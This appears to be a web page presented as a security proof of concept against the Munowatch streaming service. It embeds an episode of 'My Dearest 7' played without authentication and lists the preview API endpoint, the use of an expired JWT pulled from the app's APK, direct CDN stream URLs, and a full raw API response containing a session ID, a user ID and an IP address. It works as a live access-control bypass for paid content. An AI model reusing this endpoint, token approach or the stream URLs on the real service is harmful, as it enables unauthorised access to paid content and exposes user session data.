Watch — My Dearest 7

SECURITY PoC — NO AUTH

CDN bypass demo: stream served without an auth header

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CDN bypass demonstration The API returned playingUrl for My Dearest 7 with issubscriber: false and user_access: deny. The video above plays from Munowatch's own CDN with zero authentication.

Security research evidence Inspect entitlement results, CDN URLs, and the raw API response Access control failed

API response evidence

Endpoint called GET /api/preview/v2/42582/0

User ID used 0 (no user / not logged in)

JWT used Expired Feb 2024 (extracted from APK)

issubscriber false

user_access deny

paid_for YES (premium content)

substatus EXPIRED

serverhost 52

video_name MY DEAREST 7a_x264.mp4

playingUrl returned YES — URL in response

API playingUrl value https://munowatch.co/clips/ELI.mp4

CDN demo stream https://nkuba.b-cdn.net/cleve48/cfr/In.The.Grey.mp4

Finding: The server sets user_access=deny and issubscriber=false but still returns playingUrl in the same response. Subscription is enforced client-side only — any caller with the expired APK JWT can obtain stream URLs without a subscription. Munowatch CDN (b-cdn.net) serves content with no auth required (direct HTTP Range requests succeed with HTTP 206).

{
    "id": 42582,
    "video_title": "My Dearest 7",
    "description": " A love-story between a noble woman and a mysterious man set in Joseon during the Qing invasion",
    "video_name": "MY DEAREST 7a_x264.mp4",
    "filehistory": "",
    "openload": "0",
    "embedurl": "",
    "serverhost": "52",
    "allow_openload": "0",
    "full_video_name": "",
    "duration": "31h 37m",
    "thumbnail": "https://apposters.b-cdn.net/laba/yo/naki/u4vxGfkNRd4856.jpg",
    "tfilehistory": "",
    "category_id": 5,
    "language_id": 1,
    "recording_date": "2023-10-20",
    "age_id": "13 +",
    "location": 1,
    "tab_category_id": 5,
    "series_code": "58643",
    "access": "1",
    "paid_for": "1",
    "new_movie": "1",
    "priority": "No",
    "size": "204.81 MB",
    "create_date": "2023-10-20 14:10:05",
    "schedule_date": "20.10.2023 02:42:00 PM",
    "user_id": 1118356,
    "vj_id": 29,
    "video_status_id": 0,
    "network_id": "41.190.134.203",
    "user_access": "deny",
    "notification": "",
    "secduration": "113820.000000",
    "issubscriber": false,
    "genre": "Series",
    "vjname": "Vj Little T",
    "trailer_playing_url": "",
    "episodes": 28,
    "episode_state": "NEXT",
    "nxt_eps": "EPS  8",
    "nxt_eps_id": 42583,
    "nxt_eps_title": "My Dearest 8",
    "nxt_ldur": 0,
    "nxt_playing_url": "https://munowatch.co/clips/ELI.mp4",
    "playingUrl": "https://munowatch.co/clips/ELI.mp4",
    "ldur": 0,
    "session_id": "cb99afb5b31411a57538a97393de0e2e",
    "device": "web",
    "lang_name": "English to Luganda",
    "vjrelease": "3 years ago",
    "mstatus": false,
    "kstatus": "",
    "substatus": "EXPIRED"
}